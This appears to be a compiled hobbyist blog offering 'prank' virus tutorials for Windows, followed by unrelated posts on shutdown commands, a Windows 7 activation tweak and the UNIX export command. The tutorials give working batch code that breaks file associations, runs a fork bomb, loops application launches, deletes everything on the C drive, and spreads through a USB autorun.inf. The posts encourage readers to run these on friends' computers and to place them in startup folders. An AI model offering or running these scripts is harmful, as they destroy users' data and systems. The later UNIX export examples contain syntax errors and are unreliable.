Extension Changer Virus

Guys, have you even imagined that if you can change the extensions of all the files in one go?

Yes, this is possible. :)

You can change the extensions of the existing files & make them useless.

For example you have a set of .txt files (say ~1000 files), you can change its extension in one go to anything & this would make the file useless (until the user knows). 

You can use this as a prank or fun moments or to trouble your friends. :)

Here we go:

As usual, open the notepad, paste the code & save it as a batch (.bat) file.

#########################################


@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

#########################################

Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.


Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

Fork Bomb

Guys, what do you understand by a Fork Bomb?  

Most of you must be aware of this, but today I am going to show you a smallest virus that can can act like a grenade.

Believe me, you are gonna love this virus. It basically consumes all the CPU resources & make it hanged.


This code creates a large number of processes very quickly in order to saturate the process table of windows. And it will just hang the windows. No solution other than reboot the windows.

& if this virus is present in startup folder, god saves you. :)

(if this is in startup, then also it can be prevented, I will show you that in another article)

So here is the code:
Tiny but most powerful:

%0|%0


Just copy these 5 characters in a notepad & save it as .bat file. run this & be amazed of it. :)




If you want to see some other viruses as well then just click the below link:


Keep visiting to have more fun stuff.

Application Bomber

Hey guys, Hope all you are doing well.
Here is another virus that will eventually eats up all the CPU memory & will hang your computer. :)

Once you trigger this virus, it will flood the instances of listed applications in the virus code, You can add/remove more applications as per your requirement in the same syntax.

So Here is the code: :)
Copy & paste the code in a notepad, &  save it with a name <filename>.bat


@echo off    // It basically instructs to hide the commands when batch files is executed
:x   //loop variable
startwinword 
startmspaint  //open paint
start notepad
start write
startcmd //open command prompt
start explorer
start control
startcalc // open calculator
goto x // infinite loop



This code once executed will start opening different applications like paint,notepad,command prompt repeatedly, irritating victim and of course affecting the performance. & eventually your system will be hanged forever until you restart. 

(or if you put this piece of code in startup folder, simple restart also won't work here)
So play around with these small viruses, & keep visiting here with more fun stuff.


Virus for Fun

Hi Mates,
I am back again with a deadly virus that can cause your laptop/computer to install an OS again from scratch. This virus can be even more deadly if you are having your stuff in your "C" drive. 

So the first thing to understand is, never put your important things in "c" drive. :D

Ok, let's start with VIRUS now. :)


save your computer


   1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y


   2. Save this file as 
virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will 
delete all the content of C Drive.


Creating and Spreading virus from a Pen-drive

Hi Guys,
You must be interested in creating a self executable virus.

Sound interesting? :)
Well, then you are at a right place. I am gonna show you how to spread virus from a pen drive.

Everybody is having a pen drive these days, so its easy to play around with this small virus trick.


---------So here we go---------



Step 1

Open your notepad and write:
[autorun]

open=anything.bat

Icon=anything.ico 
Now save this file as ‘autorun.inf’

Step 2

Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .


When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Now it depends on you what you want to put inside your batch file. :)

Shutdown computer from command

A quick way to shutdown or restart your computer or to schedule a computer shutdown in some time without any external software. Most of you are using a software to schedule a system reboot or shutdown. 
But a geek never relies on any software. Right? :)

Here we go:
Just open your command prompt & play around. :)

1. For Shut Down

shutdown -s

2. For Restarting computer

shutdown -r

3. To Log-off

shutdown -l


-s, -r, -l parameters tells your computer to perform which action from above.

===================

Now what if you want to shutdown your computer at a specified time. No worries :)
we have another trick to do so:

Scheduled Shutdown:

shutdown -s -t 120





That's all for today. Stay tuned for more. :)

Sounds Interesting :)

In the event that you are having trouble activating your Windows 7 installation with a legitimate key, try the following registry hack:

  1. First make sure there are no pending tasks requiring a reboot.This is indicated by an orange shield icon next to your shutdown button on the Start menu or in the notification tray.
  2. Open the Registry Editor (Start -> search for "regedit" and hit Enter)
  3. Navigate to the following registry key:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\OOBE
    
  4. Double click on MediaBootInstall in the right pane and change "Value data" to 0
  5. Open a command prompt with administrative rights (Start -> search for "cmd" and hit Enter)
  6. Run the following command to reset Windows activation status:
    slmgr -rearm
    
  7. Reboot your computer.
  8. Run the Activate Windows utility (Start -> search for "Activate Windows"), enter your upgrade product key and activate Windows.

EXPORT command UNIX

UNIX

Guys, you must wonder what export command does in UNIX platform?
It's one of the most basic thing one must know about UNIX. 

All the UNIX newbies have come to a right place for a detailed export command explanation. :)


Lets start with an example:


You can assign value before exporting using the following syntax:
  • export inferno=value

OR
  • inferno=value
  • export inferno

Here the variable inferno will be declared globally within the current session.

Example:

export JAVA_HOME = C:\Program Files (x86)\Java\jre1.8.0_92

export PATH = JAVA_HOME/bin:$PATH

Here, why I ran PATH command? is to include java binaries in path variable. Basically PATH carries all the paths for the binaries and is ':' separated variable.

If you run a command  "which java", it will search in $PATH variable & if it exists it will tell you from where the java binaries are picked up & from where the command is running.

in this way export & PATH variables are most wanted variables in UNIX.

get back with any doubts guys. try using this & see the magic, how good you will become in UNIX. :)
Keep visiting & keep sharing. :)
